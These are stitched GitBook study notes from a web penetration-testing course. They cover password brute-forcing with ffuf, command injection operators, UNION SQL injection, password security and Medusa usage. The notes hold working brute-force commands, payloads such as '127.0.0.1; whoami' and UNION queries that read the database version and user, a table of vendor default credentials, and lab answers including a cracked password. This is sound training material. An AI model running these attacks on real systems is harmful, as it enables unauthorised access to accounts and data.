. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords.md)
.
Brute-Forcing Passwords[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords)
--------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
After successfully identifying valid users, password-based authentication relies on the password as a sole measure for authenticating the user. Since users tend to select an easy-to-remember password, attackers may be able to guess or brute-force it.
While password brute-forcing is not the focus of this module (it is covered in more detail in other modules referenced at the end of this section), we will still discuss an example of brute-forcing a password-based login form, as it is one of the most common examples of broken authentication.
* * *
### Brute-Forcing Passwords[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords-1)
Passwords remain one of the most common online authentication methods, yet they are plagued with many issues. One prominent issue is password reuse, where individuals use the same password across multiple accounts. This practice poses a significant security risk because if one account is compromised, attackers can potentially gain access to other accounts with the same credentials. This enables an attacker who obtained a list of passwords from a password leak to try the same passwords on other web applications ("Password Spraying"). Another issue is weak passwords based on typical phrases, dictionary words, or simple patterns. These passwords are vulnerable to brute-force attacks, where automated tools systematically try different combinations until they find the correct one, compromising the account's security.
When accessing the sample web application, we can see the following information on the login page:
arrow-circle-left redo home

The success of a brute-force attack entirely depends on the number of attempts an attacker can perform and the amount of time the attack takes. As such, ensuring that a good wordlist is used for the attack is crucial. If a web application enforces a password policy, we should ensure that our wordlist only contains passwords that match the implemented password policy. Otherwise, we are wasting valuable time with passwords that users cannot use on the web application, as the password policy does not allow them.
For instance, the popular password wordlist `rockyou.txt` contains more than 14 million passwords:
Brute-Forcing Passwords
Now, we can use `grep` to match only those passwords that match the password policy implemented by our target web application, which brings down the wordlist to about 150,000 passwords, a reduction of about 99%:
Brute-Forcing Passwords
To start brute-forcing passwords, we need a user or a list of users to target. Using the techniques covered in the previous section, we determine that admin is a username for a valid user, therefore, we will attempt brute-forcing its password.
However, first, let us intercept the login request to know the names of the POST parameters and the error message returned within the response:

HTTP request and response. Request: POST to /index.php with username and password as "admin". Response: "Invalid username or password."
Upon providing an incorrect username, the login response contains the message (substring) "Invalid username", therefore, we can use this information to build our `ffuf` command to brute-force the user's password:
Brute-Forcing Passwords
After some time, we can successfully obtain the admin user's password, enabling us to log in to the web application:
arrow-circle-left redo home

For more details on creating custom wordlists and attacking password-based authentication, check out the [Cracking Passwords with Hashcat](https://academy.hackthebox.com/module/details/20)
and [Password Attacks](https://academy.hackthebox.com/module/details/147)
modules. Further details on brute-forcing different variations of web application logins are provided in the [Login Brute Forcing](https://academy.hackthebox.com/module/details/57)
module.
#### What is one prominent issue with passwords?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#what-is-one-prominent-issue-with-passwords)
A: password reuse
#### What is the password of the user 'admin'?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#what-is-the-password-of-the-user-admin)
Create the custom word list
Now we have a custom wordlist that we can check he word count of
Now we can fuzz the application for admin creds.

A: Ramirez120992
[PreviousEnumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users)
[NextBrute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens)
Last updated 9 months ago
* [Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords)
* [Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords-1)
Copy
Code4Christ@htb[/htb]$ wc -l /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
14344391 /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
Copy
Code4Christ@htb[/htb]$ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
Code4Christ@htb[/htb]$ wc -l custom_wordlist.txt
151647 custom_wordlist.txt
Copy
Code4Christ@htb[/htb]$ ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4764ms]
* FUZZ: Buttercup1
Copy
grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
Copy
wc -l custom_wordlist.txt
151647 custom_wordlist.txt
Copy
┌──(kali㉿kali)-[~]
└─$ ffuf -w ./custom_wordlist.txt -u http://83.136.255.106:41163/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://83.136.255.106:41163/index.php
:: Wordlist : FUZZ: /home/kali/custom_wordlist.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=admin&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid username
________________________________________________
Ramirez120992 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 149ms]
---
# Detection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection.md)
.
* * *
The process of detecting basic OS Command Injection vulnerabilities is the same process for exploiting such vulnerabilities. We attempt to append our command through various injection methods. If the command output changes from the intended usual result, we have successfully exploited the vulnerability. This may not be true for more advanced command injection vulnerabilities because we may utilize various fuzzing methods or code reviews to identify potential command injection vulnerabilities. We may then gradually build our payload until we achieve command injection. This module will focus on basic command injections, where we control user input that is being directly used in a system command execution a function without any sanitization.
To demonstrate this, we will use the exercise found at the end of this section.
* * *
### Command Injection Detection[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-detection)
When we visit the web application in the below exercise, we see a `Host Checker` utility that appears to ask us for an IP to check whether it is alive or not: 
We can try entering the localhost IP `127.0.0.1` to check the functionality, and as expected, it returns the output of the `ping` command telling us that the localhost is indeed alive: 
Although we do not have access to the source code of the web application, we can confidently guess that the IP we entered is going into a `ping` command since the output we receive suggests that. As the result shows a single packet transmitted in the ping command, the command used may be as follows:
Code: bash
Copy
ping -c 1 OUR_INPUT
If our input is not sanitized and escaped before it is used with the `ping` command, we may be able to inject another arbitrary command. So, let us try to see if the web application is vulnerable to OS command injection.
* * *
### Command Injection Methods[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-methods)
To inject an additional command to the intended one, we may use any of the following operators:
**Injection Operator**
**Injection Character**
**URL-Encoded Character**
**Executed Command**
Semicolon
`;`
`%3b`
Both
New Line
`\n`
`%0a`
Both
Background
`&`
`%26`
Both (second output generally shown first)
Pipe
`|`
`%7c`
Both (only second output is shown)
AND
`&&`
`%26%26`
Both (only if first succeeds)
OR
`||`
`%7c%7c`
Second (only if first fails)
Sub-Shell
` `` `
`%60%60`
Both (Linux-only)
Sub-Shell
`$()`
`%24%28%29`
Both (Linux-only)
We can use any of these operators to inject another command so `both` or `either` of the commands get executed. `We would write our expected input (e.g., an IP), then use any of the above operators, and then write our new command.`
Tip: In addition to the above, there are a few unix-only operators, that would work on Linux and macOS, but would not work on Windows, such as wrapping our injected command with double backticks (` `` `) or with a sub-shell operator (`$()`).
In general, for basic command injection, all of these operators can be used for command injections `regardless of the web application language, framework, or back-end server`. So, if we are injecting in a `PHP` web application running on a `Linux` server, or a `.Net` web application running on a `Windows` back-end server, or a `NodeJS` web application running on a `macOS` back-end server, our injections should work regardless.
Note: The only exception may be the semi-colon `;`, which will not work if the command was being executed with `Windows Command Line (CMD)`, but would still work if it was being executed with `Windows PowerShell`.
In the next section, we will attempt to use one of the above injection operators to exploit the `Host Checker` exercise.
Try adding any of the injection operators after the ip in IP field. What did the error message say (in English)?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#try-adding-any-of-the-injection-operators-after-the-ip-in-ip-field.-what-did-the-error-message-say-i)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Try to inject this payload

Answer: Please match the requested format
[PreviousExploitation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation)
[NextInjecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands)
Last updated 1 year ago
* [Command Injection Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-detection)
* [Command Injection Methods](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-methods)
* [Try adding any of the injection operators after the ip in IP field. What did the error message say (in English)?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#try-adding-any-of-the-injection-operators-after-the-ip-in-ip-field.-what-did-the-error-message-say-i)
Copy
// Some code
127.0.0.1; whoami
---
# Union Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection.md)
.
* * *
Now that we know how the Union clause works and how to use it let us learn how to utilize it in our SQL injections. Let us take the following example:

We see a potential SQL injection in the search parameters. We apply the SQLi Discovery steps by injecting a single quote (`'`), and we do get an error:

Since we caused an error, this may mean that the page is vulnerable to SQL injection. This scenario is ideal for exploitation through Union-based injection, as we can see our queries' results.
* * *
### Detect number of columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#detect-number-of-columns)
Before going ahead and exploiting Union-based queries, we need to find the number of columns selected by the server. There are two methods of detecting the number of columns:
* Using `ORDER BY`
* Using `UNION`
**Using ORDER BY**
The first way of detecting the number of columns is through the `ORDER BY` function, which we discussed earlier. We have to inject a query that sorts the results by a column we specified, 'i.e., column 1, column 2, and so on', until we get an error saying the column specified does not exist.
For example, we can start with `order by 1`, sort by the first column, and succeed, as the table must have at least one column. Then we will do `order by 2` and then `order by 3` until we reach a number that returns an error, or the page does not show any output, which means that this column number does not exist. The final successful column we successfully sorted by gives us the total number of columns.
If we failed at `order by 4`, this means the table has three columns, which is the number of columns we were able to sort by successfully. Let us go back to our previous example and attempt the same, with the following payload:
Code: sql
Reminder: We are adding an extra dash (-) at the end, to show you that there is a space after (--).
As we see, we get a normal result:

Next, let us try to sort by the second column, with the following payload:
Code: sql
We still get the results. We notice that they are sorted differently, as expected:

We do the same for column `3` and `4` and get the results back. However, when we try to `ORDER BY` column 5, we get the following error:

This means that this table has exactly 4 columns .
**Using UNION**
The other method is to attempt a Union injection with a different number of columns until we successfully get the results back. The first method always returns the results until we hit an error, while this method always gives an error until we get a success. We can start by injecting a 3 column `UNION` query:
Code: sql
We get an error saying that the number of columns don’t match:

So, let’s try four columns and see the response:
Code: sql

This time we successfully get the results, meaning once again that the table has 4 columns. We can use either method to determine the number of columns. Once we know the number of columns, we know how to form our payload, and we can proceed to the next step.
* * *
### Location of Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#location-of-injection)
While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection. In the previous example, while the injected query returned 1, 2, 3, and 4, we saw only 2, 3, and 4 displayed back to us on the page as the output data:

It is very common that not every column will be displayed back to the user. For example, the ID field is often used to link different tables together, but the user doesn't need to see it. This tells us that columns 2 and 3, and 4 are printed to place our injection in any of them. `We cannot place our injection at the beginning, or its output will not be printed.`
This is the benefit of using numbers as our junk data, as it makes it easy to track which columns are printed, so we know at which column to place our query. To test that we can get actual data from the database 'rather than just numbers,' we can use the `@@version` SQL query as a test and place it in the second column instead of the number 2:
Code: sql

As we can see, we can get the database version displayed. Now we know how to form our Union SQL injection payloads to successfully get the output of our query printed on the page. In the next section, we will discuss how to enumerate the database and get data from other tables and databases.
Repeated steps from last example and got the DB version using this payload

Payload
After:

A: root@localhost
[PreviousUnion Clause](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause)
[NextExploitation](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation)
Last updated 1 year ago
* [Detect number of columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#detect-number-of-columns)
* [Location of Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#location-of-injection)
Copy
' order by 1-- -
Copy
' order by 2-- -
Copy
cn' UNION select 1,2,3-- -
Copy
cn' UNION select 1,2,3,4-- -
Copy
cn' UNION select 1,@@version,3,4-- -
Copy
cn' UNION select 1,@@version,3,4-- -
Copy
cn' UNION select 1,user(),3,4-- -
---
# Password Security Fundamentals | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals.md)
.
Password Security Fundamentals[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-security-fundamentals)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
The effectiveness of brute-force attacks hinges on the strength of the passwords it targets. Understanding the fundamentals of password security is crucial for appreciating the importance of robust password practices and the challenges posed by brute-force attacks.
### The Importance of Strong Passwords[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-importance-of-strong-passwords)
Passwords are the first line of defense in protecting sensitive information and systems. A strong password is a formidable barrier, making it significantly harder for attackers to gain unauthorized access through brute forcing or other techniques. The longer and more complex a password is, the more combinations an attacker has to try, exponentially increasing the time and resources required for a successful attack.
### The Anatomy of a Strong Password[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-anatomy-of-a-strong-password)
The `National Institute of Standards and Technology` (`NIST`) provides guidelines for creating strong passwords. These guidelines emphasize the following characteristics:
* `Length`: The longer the password, the better. Aim for a minimum of 12 characters, but longer is always preferable. The reasoning is simple: each additional character in a password dramatically increases the number of possible combinations. For instance, a 6-character password using only lowercase letters has 26^6 (approximately 300 million) possible combinations. In contrast, an 8-character password has 26^8 (approximately 200 billion) combinations. This exponential increase in possibilities makes longer passwords significantly more resistant to brute-force attacks.
* `Complexity`: Use uppercase and lowercase letters, numbers, and symbols. Avoid quickly guessable patterns or sequences. Including different character types expands the pool of potential characters for each position in the password. For example, a password using only lowercase letters has 26 possibilities per character, while a password using both uppercase and lowercase letters has 52 possibilities per character. This increased complexity makes it much harder for attackers to predict or guess passwords.
* `Uniqueness`: Don't reuse passwords across different accounts. Each account should have its own unique and strong password. If one account is compromised, all other accounts using the same password are also at risk. By using unique passwords for each account, you compartmentalize the potential damage of a breach.
* `Randomness`: Avoid using dictionary words, personal information, or common phrases. The more random the password, the harder it is to crack. Attackers often use wordlists containing common passwords and personal information to speed up their brute-force attempts. Creating a random password minimizes the chances of being included in such wordlists.
### Common Password Weaknesses[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#common-password-weaknesses)
Despite the importance of strong passwords, many users still rely on weak and easily guessable passwords. Common weaknesses include:
* `Short Passwords`: Passwords with fewer than eight characters are particularly vulnerable to brute-force attacks, as the number of possible combinations is relatively small.
* `Common Words and Phrases`: Using dictionary words, names, or common phrases as passwords makes them susceptible to dictionary attacks, where attackers try a pre-defined list of common passwords.
* `Personal Information`: Incorporating personal information like birthdates, pet names, or addresses into passwords makes them easier to guess, especially if this information is publicly available on social media or other online platforms.
* `Reusing Passwords`: Using the same password across multiple accounts is risky. If one account is compromised, all other accounts using the same password are also at risk.
* `Predictable Patterns`: Using patterns like "qwerty" or "123456" or simple substitutions like "p@ssw0rd" makes passwords easy to guess, as these patterns are well-known to attackers.
### Password Policies[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-policies)
Organizations often implement password policies to enforce the use of strong passwords. These policies typically include requirements for:
* `Minimum Length`: The minimum number of characters a password must have.
* `Complexity`: The types of characters that must be included in a password (e.g., uppercase, lowercase, numbers, symbols).
* `Password Expiration`: The frequency with which passwords must be changed.
* `Password History`: The number of previous passwords that cannot be reused.
While password policies can help improve password security, they can also lead to user frustration and the adoption of poor password practices, such as writing passwords down or using slight variations of the same password. When designing password policies, it's important to balance security and usability.
### The Perils of Default Credentials[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-perils-of-default-credentials)
One critical aspect of password security often overlooked is the danger posed by `default passwords`. These pre-set passwords come with various devices, software, or online services. They are often simple and easily guessable, making them a prime target for attackers.
Default passwords significantly increase the success rate of brute-force attacks. Attackers can leverage lists of common default passwords, dramatically reducing the search space and accelerating the cracking process. In some cases, attackers may not even need to perform a brute-force attack; they can try a few common default passwords and gain access with minimal effort.
The prevalence of default passwords makes them a low-hanging fruit for attackers. They provide an easy entry point into systems and networks, potentially leading to data breaches, unauthorized access, and other malicious activities.
Device/Manufacturer
Default Username
Default Password
Device Type
Linksys Router
admin
admin
Wireless Router
D-Link Router
admin
admin
Wireless Router
Netgear Router
admin
password
Wireless Router
TP-Link Router
admin
admin
Wireless Router
Cisco Router
cisco
cisco
Network Router
Asus Router
admin
admin
Wireless Router
Belkin Router
admin
password
Wireless Router
Zyxel Router
admin
1234
Wireless Router
Samsung SmartCam
admin
4321
IP Camera
Hikvision DVR
admin
12345
Digital Video Recorder (DVR)
Axis IP Camera
root
pass
IP Camera
Ubiquiti UniFi AP
ubnt
ubnt
Wireless Access Point
Canon Printer
admin
admin
Network Printer
Honeywell Thermostat
admin
1234
Smart Thermostat
Panasonic DVR
admin
12345
Digital Video Recorder (DVR)
These are just a few examples of well-known default passwords. Attackers often compile extensive lists of such passwords and use them in automated attacks.
Alongside default passwords, default usernames are another major security concern. Manufacturers often ship devices with pre-set usernames, such as `admin`, `root`, or `user`. You might have noticed in the table above how many use common usernames. These usernames are widely known and often published in documentation or readily available online. SecLists maintains a list of common usernames at [top-usernames-shortlist.txt](https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt)
Default usernames are a significant vulnerability because they give attackers a predictable starting point. In many brute-force attacks, knowing the username is half the battle. With the username already established, the attacker only needs to crack the password, and if the device still uses a default password, the attack can be completed with minimal effort.
Even when default passwords are changed, retaining the default username still leaves systems vulnerable to attacks. It drastically narrows the attack surface, as the hacker can skip the process of guessing usernames and focus solely on the password.
#### Brute-forcing and Password Security[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#brute-forcing-and-password-security)
In a brute-force scenario, the strength of the target passwords becomes the attacker's primary obstacle. A weak password is akin to a flimsy lock on a door – easily picked open with minimal effort. Conversely, a strong password acts as a fortified vault, demanding significantly more time and resources to breach.
For a pentester, this translates to a deeper understanding of the target's security posture:
* `Evaluating System Vulnerability:` Password policies, or their absence, and the likelihood of users employing weak passwords directly inform the potential success of a brute-force attack.
* `Strategic Tool Selection:` The complexity of the passwords dictates the tools and methodologies a pentester will deploy. A simple dictionary attack might suffice for weak passwords, while a more sophisticated, hybrid approach may be required to crack stronger ones.
* `Resource Allocation:` The estimated time and computational power needed for a brute-force attack is intrinsically linked to the complexity of the passwords. This knowledge is essential for effective planning and resource management.
* `Exploiting Weak Points:` Default passwords are often a system's Achilles' heel. A pentester's ability to identify and leverage these easily guessable credentials can provide a swift entry point into the target network.
In essence, a deep understanding of password security is a roadmap for a pentester navigating the complexities of a brute-force attack. It unveils potential weak points, informs strategic choices, and predicts the effort required for a successful breach. This knowledge, however, is a double-edged sword. It also underscores the critical importance of robust password practices for any organization seeking to defend against such attacks, highlighting each user's pivotal role in safeguarding sensitive information.
[PreviousIntro](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro)
[NextBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks)
Last updated 1 year ago
* [Password Security Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-security-fundamentals)
* [The Importance of Strong Passwords](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-importance-of-strong-passwords)
* [The Anatomy of a Strong Password](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-anatomy-of-a-strong-password)
* [Common Password Weaknesses](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#common-password-weaknesses)
* [Password Policies](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-policies)
* [The Perils of Default Credentials](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-perils-of-default-credentials)
---
# Medusa | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa.md)
.
Medusa[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa)
-------------------------------------------------------------------------------------
* * *
Medusa, a prominent tool in the cybersecurity arsenal, is designed to be a fast, massively parallel, and modular login brute-forcer. Its primary objective is to support a wide array of services that allow remote authentication, enabling penetration testers and security professionals to assess the resilience of login systems against brute-force attacks.
### Installation[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#installation)
Medusa often comes pre-installed on popular penetration testing distributions. You can verify its presence by running:
Medusa
Copy
hack3rSWE@htb[/htb]$ medusa -h
Installing Medusa on a Linux system is straightforward.
Medusa
Copy
hack3rSWE@htb[/htb]$ sudo apt-get -y update
hack3rSWE@htb[/htb]$ sudo apt-get -y install medusa
### Command Syntax and Parameter Table[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#command-syntax-and-parameter-table)
Medusa's command-line interface is straightforward. It allows users to specify hosts, users, passwords, and modules with various options to fine-tune the attack process.
Medusa
Copy
hack3rSWE@htb[/htb]$ medusa [target_options] [credential_options] -M module [module_options]
Parameter
Explanation
Usage Example
`-h HOST` or `-H FILE`
Target options: Specify either a single target hostname or IP address (`-h`) or a file containing a list of targets (`-H`).
`medusa -h 192.168.1.10 ...` or `medusa -H targets.txt ...`
`-u USERNAME` or `-U FILE`
Username options: Provide either a single username (`-u`) or a file containing a list of usernames (`-U`).
`medusa -u admin ...` or `medusa -U usernames.txt ...`
`-p PASSWORD` or `-P FILE`
Password options: Specify either a single password (`-p`) or a file containing a list of passwords (`-P`).
`medusa -p password123 ...` or `medusa -P passwords.txt ...`
`-M MODULE`
Module: Define the specific module to use for the attack (e.g., `ssh`, `ftp`, `http`).
`medusa -M ssh ...`
`-m "MODULE_OPTION"`
Module options: Provide additional parameters required by the chosen module, enclosed in quotes.
`medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^" ...`
`-t TASKS`
Tasks: Define the number of parallel login attempts to run, potentially speeding up the attack.
`medusa -t 4 ...`
`-f` or `-F`
Fast mode: Stop the attack after the first successful login is found, either on the current host (`-f`) or any host (`-F`).
`medusa -f ...` or `medusa -F ...`
`-n PORT`
Port: Specify a non-default port for the target service.
`medusa -n 2222 ...`
`-v LEVEL`
Verbose output: Display detailed information about the attack's progress. The higher the `LEVEL` (up to 6), the more verbose the output.
`medusa -v 4 ...`
#### Medusa Modules[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa-modules)
Each module in Medusa is tailored to interact with specific authentication mechanisms, allowing it to send the appropriate requests and interpret responses for successful attacks. Below is a table of commonly used modules:
Medusa Module
Service/Protocol
Description
Usage Example
FTP
File Transfer Protocol
Brute-forcing FTP login credentials, used for file transfers over a network.
`medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt`
HTTP
Hypertext Transfer Protocol
Brute-forcing login forms on web applications over HTTP (GET/POST).
`medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^`
IMAP
Internet Message Access Protocol
Brute-forcing IMAP logins, often used to access email servers.
`medusa -M imap -h mail.example.com -U users.txt -P passwords.txt`
MySQL
MySQL Database
Brute-forcing MySQL database credentials, commonly used for web applications and databases.
`medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt`
POP3
Post Office Protocol 3
Brute-forcing POP3 logins, typically used to retrieve emails from a mail server.
`medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt`
RDP
Remote Desktop Protocol
Brute-forcing RDP logins, commonly used for remote desktop access to Windows systems.
`medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt`
SSHv2
Secure Shell (SSH)
Brute-forcing SSH logins, commonly used for secure remote access.
`medusa -M ssh -h 192.168.1.100 -u root -P passwords.txt`
Subversion (SVN)
Version Control System
Brute-forcing Subversion (SVN) repositories for version control.
`medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt`
Telnet
Telnet Protocol
Brute-forcing Telnet services for remote command execution on older systems.
`medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt`
VNC
Virtual Network Computing
Brute-forcing VNC login credentials for remote desktop access.
`medusa -M vnc -h 192.168.1.100 -P passwords.txt`
Web Form
Brute-forcing Web Login Forms
Brute-forcing login forms on websites using HTTP POST requests.
`medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"`
#### Targeting an SSH Server[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#targeting-an-ssh-server)
Imagine a scenario where you need to test the security of an SSH server at `192.168.0.100`. You have a list of potential usernames in `usernames.txt` and common passwords in `passwords.txt`. To launch a brute-force attack against the SSH service on this server, use the following Medusa command:
Medusa
This command instructs Medusa to:
* Target the host at `192.168.0.100`.
* Use the usernames from the `usernames.txt` file.
* Test the passwords listed in the `passwords.txt` file.
* Employ the `ssh` module for the attack.
Medusa will systematically try each username-password combination against the SSH service to attempt to gain unauthorized access.
#### Targeting Multiple Web Servers with Basic HTTP Authentication[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#targeting-multiple-web-servers-with-basic-http-authentication)
Suppose you have a list of web servers that use basic HTTP authentication. These servers' addresses are stored in `web_servers.txt`, and you also have lists of common usernames and passwords in `usernames.txt` and `passwords.txt`, respectively. To test these servers concurrently, execute:
Medusa
In this case, Medusa will:
* Iterate through the list of web servers in `web_servers.txt`.
* Use the usernames and passwords provided.
* Employ the `http` module with the `GET` method to attempt logins.
By running multiple threads, Medusa efficiently checks each server for weak credentials.
#### Testing for Empty or Default Passwords[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#testing-for-empty-or-default-passwords)
If you want to assess whether any accounts on a specific host (`10.0.0.5`) have empty or default passwords (where the password matches the username), you can use:
Medusa
This command instructs Medusa to:
* Target the host at `10.0.0.5`.
* Use the usernames from `usernames.txt`.
* Perform additional checks for empty passwords (`-e n`) and passwords matching the username (`-e s`).
* Use the appropriate service module (replace `service_name` with the correct module name).
Medusa will try each username with an empty password and then with the password matching the username, potentially revealing accounts with weak or default configurations.
[PreviousLogin Forms](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms)
[NextWeb Services](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services)
Last updated 1 year ago
* [Medusa](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa)
* [Installation](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#installation)
* [Command Syntax and Parameter Table](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#command-syntax-and-parameter-table)
Copy
hack3rSWE@htb[/htb]$ medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh
Copy
hack3rSWE@htb[/htb]$ medusa -H web_servers.txt -U usernames.txt -P passwords.txt -M http -m GET
Copy
hack3rSWE@htb[/htb]$ medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name
---
# Skills Assessment | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment.md)
.
* * *
You are given access to a web application with basic protection mechanisms. Use the skills learned in this module to find the SQLi vulnerability with SQLMap and exploit it accordingly. To complete this module, find the flag and submit it here.
